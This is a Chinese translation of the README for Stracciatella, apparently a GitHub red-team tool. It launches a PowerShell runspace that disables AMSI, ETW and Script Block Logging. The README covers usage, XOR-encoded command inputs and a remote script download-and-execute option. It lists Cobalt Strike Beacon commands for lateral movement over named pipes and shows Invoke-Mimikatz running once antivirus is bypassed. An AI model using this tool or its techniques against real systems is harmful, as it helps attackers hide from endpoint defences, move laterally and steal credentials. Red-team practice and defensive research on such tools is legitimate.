mgeeky/Stracciatella
GitHub: mgeeky/Stracciatella
一款基于 C# 的 PowerShell runspace 执行器,通过反射技术在启动时禁用 AMSI、ETW、Script Block Logging 等安全机制,为红队提供更隐蔽的 PowerShell 执行环境。
Stars: 538 | Forks: 65
# Stracciatella v0.7
从 C# 中执行 Powershell runspace(又称 `SharpPick` 技术),并在启动时禁用 AMSI、ETW 和 Script Block Logging,为您提供便捷。
如今,Powershell 受到大量安全机制的严密监控,主要使用的技术包括:
* AMSI
* ETW
* Script Block Logging
* Transcript 文件
* Modules 日志
* Constrained Language Mode
高级攻击者必须找到绕过这些防护的方法,才能实施复杂的对抗性模拟演练。为了协助这些工作,创建了本项目。
本程序建立在针对特定技术的绕过方法之上,这些方法包含在:
* [Disable-Amsi.ps1](https://github.com/mgeeky/Penetration-Testing-Tools/blob/master/red-teaming/Disable-Amsi.ps1)
* [KillETW.ps1 by tandasat](https://gist.githubusercontent.com/tandasat/e595c77c52e13aaee60e1e8b65d2ba32/raw/115d0c513d041243a06a764546fd57e7c2f5e47e/KillETW.ps1)
* [Disable-ScriptLogging.ps1](https://github.com/mgeeky/Penetration-Testing-Tools/blob/master/red-teaming/Disable-ScriptLogging.ps1)
而这些又基于以下研究:
- Matt Graeber: https://github.com/mattifestation/PSReflect
- Matt Graeber: https://twitter.com/mattifestation/status/735261120487772160
- Avi Gimpel: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
- Adam Chester: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
- Ryan Cobb: https://cobbr.io/ScriptBlock-Logging-Bypass.html
- Ryan Cobb: https://cobbr.io/ScriptBlock-Warning-Event-Logging-Bypass.html
SharpPick 的理念,即通过使用 Runspaces 从 C# 程序集中启动 powershell 脚本,也不是新技术,最初由 Lee Christensen (@tifkin_) 在他的项目中实现:
* [UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell)
此外,源代码还借鉴了 Lee 的 `CustomPSHost` 实现。
本项目继承了上述研究和伟大安全社区的成果,旨在提供一个在启动时禁用防御功能的、接近有效的 Powershell 环境。
现在可以使用 .NET 4.0 轻松编译;如果使用 .NET Framework 4.7.1+ 编译,则包含一个附加功能,允许卸载构成 CLM 绕过痕迹的 DLL,并尝试随后删除它们(说实话效果不太稳定)。
使用 .NET 4.0 编译的 Stracciatella 效果最佳。
## OpSec
* 本程序提供动态解码传递参数的功能,使用单字节 XOR 解码
* 在启动任何命令之前,确保使用两种方法禁用 AMSI 和 ETW
* 在启动任何命令之前,确保使用两种方法禁用 Script Block 日志
* 本程序不修补任何系统库或系统原生代码(如 amsi.dll)
* 已做出努力,不将解码后的脚本/命令过长时间存储在内存中,以保护自身免受 EDR 和 AV 控制的内存转储技术的影响
## 用法
有几个可用的选项:
```
PS D:\> Stracciatella -h
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22
v0.7
Usage: stracciatella.exe [options] [command]
-s , --script - Path to file containing Powershell script to execute. If not options given, will enter
a pseudo-shell loop. This can be also a HTTP(S) URL to download & execute powershell script.
-v, --verbose - Prints verbose informations
-n, --nocleanup - Don't remove CLM disable leftovers (DLL files in TEMP and COM registry keys).
By default these are going to be always removed.
-C, --leaveclm - Don't attempt to disable CLM. Stealthier. Will avoid leaving CLM disable artefacts undeleted.
-f, --force - Proceed with execution even if Powershell defenses were not disabled.
By default we bail out on failure.
-c, --command - Executes the specified commands You can either use -c or append commands after
stracciatella parameters: cmd> straciatella ipconfig /all
If command and script parameters were given, executes command after running script.
-x , --xor - Consider input as XOR encoded, where is a one byte key in decimal
(prefix with 0x for hex)
-p , --pipe - Read powershell commands from a specified named pipe. Command must be preceded with 4 bytes of
its length coded in little-endian (Length-Value notation).
-t , --timeout
- Specifies timeout for pipe read operation (in milliseconds). Default: 60 secs. 0 - infinite.
-e, --cmdalsoencoded - Consider input command (specified in '--command') encoded as well.
Decodes input command after decoding and running input script file.
By default we only decode input file and consider command given in plaintext
```
该程序接受命令和脚本文件路径作为输入。两者都是可选的,如果均未提供,则将启动一个伪 Shell (pseudo-shell)。
命令和脚本均可使用单字节 XOR 进一步编码(将输出 Base64 编码),以获得更好的 OpSec 体验。
以下展示几个用例示例:
1. *伪 Shell* - 当既未指定命令也未指定脚本路径选项时启动:
```
PS D:\> Stracciatella.exe -v
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22
v0.7
[.] Powershell's version: 5.1
[.] Language Mode: FullLanguage
[+] No need to disable Constrained Language Mode. Already in FullLanguage.
[+] Script Block Logging Disabled.
[+] AMSI Disabled.
[+] ETW Disabled.
Stracciatella D:\> $PSVersionTable
Name Value
---- -----
PSVersion 5.1.18362.1
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.18362.1
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
```
2. *XOR 编码(密钥 = 0x31)的命令和脚本文件路径*
首先,为了准备编码语句,我们可以使用附带的 `encoder.py` 脚本,其用法如下:
```
PS D:\> python encoder.py -h
usage: encoder.py [options]
positional arguments:
command Specifies either a command or script file's path for encoding
optional arguments:
-h, --help show this help message and exit
-x KEY, --xor KEY Specifies command/file XOR encode key (one byte)
-o PATH, --output PATH
(optional) Output file. If not given - will echo output to stdout
PS D:\> python encoder.py -x 0x31 "Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode"
ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU
```
然后我们将 `encoder.py` 的输出作为 Stracciatella 的编码命令输入:
```
PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22
v0.7
[.] Will load script file: '.\Test2.ps1'
[+] AMSI Disabled.
[+] ETW Disabled.
[+] Script Block Logging Disabled.
[.] Language Mode: FullLanguage
PS> & '.\Test2.ps1'
PS> Write-Host "It works like a charm!" ; $ExecutionContext.SessionState.LanguageMode
[+] Yeeey, it really worked.
It works like a charm!
FullLanguage
```
其中:
- `Command` 由以下命令构建:`Base64Encode(XorEncode("Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))`
- `Test2.ps1` - 包含:`"ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM="` `(Base64(XorEncode("Write-Host \"[+] Yeeey, it really worked.\"", 0x31)))`
## Cobalt Strike 支持
Stracciatella 附带一个 Aggressor script,加载后会在 Beacon 控制台中暴露 `stracciatella` 命令。其用法与 `powerpick` 非常相似(通过 `stracciatella-import` 预先导入 powershell 脚本)。输入参数将与随机密钥进行异或运算,并通过随机命名的 Pipe 传递给 Stracciatella 的 runspace。
可用的 Cobalt Strike 命令如下:
| Cobalt Strike 命令 | 描述 |
|------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------|
| `stracciatella [-v] ` | 执行给定的命令 |
| `stracciatella-remote [-v] ` | 在指定管道上的远程机器上执行给定的命令 |
| `stracciatella-import ` | 导入一个 powershell 脚本供 Stracciatella 使用 |
| `stracciatella-script ` | 使用指定的 Powershell (ps1) 脚本预加载 Powershell 命令(`stracciatella-import` 和 `stracciatella` 的单操作组合) |
| `stracciatella-clear` | 清除该 Beacon 上导入的脚本 |
| `stracciatella-timeout ` | 调整默认的命名管道读取超时时间 |
| `bofnet_loadstracciatella` | 将 Stracciatella.exe 加载到 BOF.NET(如果正在使用) |
| `bofnet_stracciatella ` | (非阻塞) 通过 BOF.NET `bofnet_jobassembly` 在安全的 Stracciatella runspace 中运行 Powershell 命令 |
| `bofnet_executestracciatella ` | (阻塞) 通过 BOF.NET `bofnet_executeassembly` 在安全的 Stracciatella runspace 中运行 Powershell 命令 |
| `bofnet_stracciatella_script ` | 预加载指定的 Powershell 脚本并使用参数启动给定的命令 (通过 BOF.NET) |
使用 Stracciatella 的策略之一是配置足够长的管道读取超时 (1),在远程机器上启动它 (2),从而借助 Stracciatella 通过命名管道进行横向移动。
相对于 `powerpick` 的优势在于,Stracciatella 不会像 Powerpick 那样修补 _AMSI.dll_(_AmsiScanBuffer_ 补丁),因此对于寻找内存补丁的 EDR 来说,可能产生更少的取证噪音。此外,Stracciatella 最终将能够稳定地绕过 `powerpick` 目前无法绕过的 _Constrained Language Mode_:
```
beacon> stracciatella-import PowerView.ps1
[+] host called home, sent: 143784 bytes
beacon> stracciatella Get-Domain
[*] Tasked Beacon to run Stracciatella: Get-Domain
[+] host called home, sent: 264483 bytes
[+] received output:
Forest : contoso.local
DomainControllers : {dc.contoso.local}
Children : {us.eu.contoso.local}
DomainMode : Unknown
DomainModeLevel : 7
Parent : contoso.local
PdcRoleOwner : dc.eu.contoso.local
RidRoleOwner : dc.eu.contoso.local
InfrastructureRoleOwner : dc.eu.contoso.local
Name : eu.contoso.local
```
最后,Stracciatella 可以轻松地被其他不提供绕过 powershell 防护功能的工具/C2 使用。
每当 `stracciatella` 返回错误代码 2 (_ERROR_FILE_NOT_FOUND_) 时,是因为 Stracciatella 在内部等待数据写入其命名管道时超时。
```
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 03:32:50] host called home, sent: 1007245 bytes
[+] [11/02 03:33:13] host called home, sent: 191805 bytes
[-] Could not connect to pipe (\\.\pipe\85f2acfe-2ca9-4364-af08-f1c654966c1a): 2.
```
但这可以通过使用以下命令调整 Straciatella 的超时参数来解决:
```
beacon> stracciatella-timeout 600000
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 04:01:11] host called home, sent: 1007265 bytes
[+] [11/02 04:01:33] host called home, sent: 191805 bytes
[+] received output:
ComputerName IPAddress
------------ ---------
dc1.bank.corp 10.10.10.5
```
相关的 aggressor script 利用内部 Beacon 例程写入随机命名的管道,该管道的另一端由 Stracciatella 的逻辑监听。接收端将等待传入数据一段时间(Stracciatella 选项中的 `--timeout` 参数,默认为 60 秒),如果没有数据 - 将超时并优雅地中止。否则,接收到的命令将照常解码并执行。
有时我们有一些 Powershell 脚本,它们不暴露任何函数或反射加载我们想从 Powershell 运行时调用的 .NET 模块。为了促进这种用例,可以使用 `stracciatella-script ` 用分号分隔后附加到该脚本中。
### BOF.NET 支持
Stracciatella 的 Aggressor script (CNA) 会检测是否加载了 BOF.NET,如果是,则暴露一个命令:
`bofnet_loadstracciatella`
该命令执行 `bofnet_load stracciatella.exe`。此外,Stracciatella 随后将通过 `bofnet_jobassembly` 运行,而不是 Cobalt 的内置 `execute-assembly`。
可以通过更改 `stracciatella.cna` 脚本中的全局变量来调整该行为:
```
# # 如果 Cobalt Strike 中加载了 BOF.NET,优先使用 `bofnet_jobassembly` 命令而不是 `execute-assembly`。
# 当我们希望通过 BOF.NET 以 inline/in-process 方式运行,而不是使用 fork & run 时,这非常有用。
# $FAVOR_BOFNET_INSTEAD_OF_EXECUTE_ASSEMBLY = "true";
```
## 如何禁用 AMSI 和 Script Block 日志?
通过使用反射,正如 Matt Graeber 所发现的那样,但本程序的方法稍作修改。我们不通过名称(如 "amsiInitFailed")来引用符号,而是通过遍历每一个可以反射获取的 Assembly、Method、Type 和 Field 来查找它们。然后我们通过操作 Management.Automation 程序集中的 NonPublic 和 Static 变量来禁用 AMSI。Script Block 日志也是如此,其中一些想法基于 Ryan Cobb (@cobbr) 的研究。
实际上,`Stracciatella` 使用的方法与我上面提到的 `Disable-*.ps1` 文件中已涵盖的实现相同。
此外,**我们不尝试修补 amsi.dll**,这有点太吵了,而且不久的将来可能会受到 EDR/HIPS/AV 的密切监控。与反射变量破坏相比,破坏系统库的完整性显然正在失去优势。
## 直接给我看 `Invoke-Mimikatz`,好吗?
当然,给您:
```
PS D:\> "amsiInitFailed"
At line:1 char:1
+ "amsiInitFailed"
+ ~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> . .\Invoke-Mimikatz.ps1
At line:1 char:1
+ . .\Invoke-Mimikatz.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> .\Stracciatella.exe -v
:: Stracciatella - Powershell runspace with AMSI and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22
v0.7
[-] It looks like no script path was given.
[+] AMSI Disabled.
[+] ETW Disabled.
[+] Script Block Logging Disabled.
[.] Language Mode: FullLanguage
Stracciatella D:\> . .\Invoke-Mimikatz.ps1
Stracciatella D:\> Invoke-Mimikatz -Command "coffee exit"
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # coffee
( (
) )
.______.
| |]
\ /
`----'
mimikatz(powershell) # exit
Bye!
```
## 已知问题,TODO
目前,Stracciatella 提供 powershell 命令运行空间的方式并不是最隐蔽的。我们基本上创建了一个 Powershell runspace,它会加载相应的 .NET Assembly。这可能会被视为 Stracciatella 进程有些可疑的标志。
- **目前无法完全清理 CLM 禁用痕迹:正在使用中的、留在 %TEMP% 中的 DLL 文件。**
- 实现使用 2、3 和 4 字节长密钥的滚动 XOR。
- 实现更多的编码/加密策略,特别是利用环境密钥的策略
- 添加 Tab-自动补全和对 上/下 箭头的支持(前提是明文命令不会存储在 Straciatella 的内存中)
- 添加彩色输出
- Script Block Logging 绕过针对 Windows Server 2016 和 Windows 10 _可能无效_,正如[此处](https://github.com/mgeeky/Stracciatella/issues/4)所报告
### ☕ 表示支持 ☕
这个和其他项目都是熬夜和**大量辛勤工作**的成果。如果您喜欢我所做的工作,并且赞赏我总是回馈社区,
[请考虑请我喝杯咖啡](https://github.com/sponsors/mgeeky) _(或者最好是啤酒)_ 以表感谢! 💪
## 作者
```
Mariusz Banach / mgeeky, '20-22
(https://github.com/mgeeky)
```
标签:AI合规, AMSI 绕过, DNS 反向解析, EDR 规避, ETW 绕过, IPv6, .NET 安全, OpenCanary, OpSec, PowerShell, Runspace, SharpPick, 受限语言模式, 攻击模拟, 日志清除, 私有化部署, 脚本块日志, 防御规避, 驱动签名利用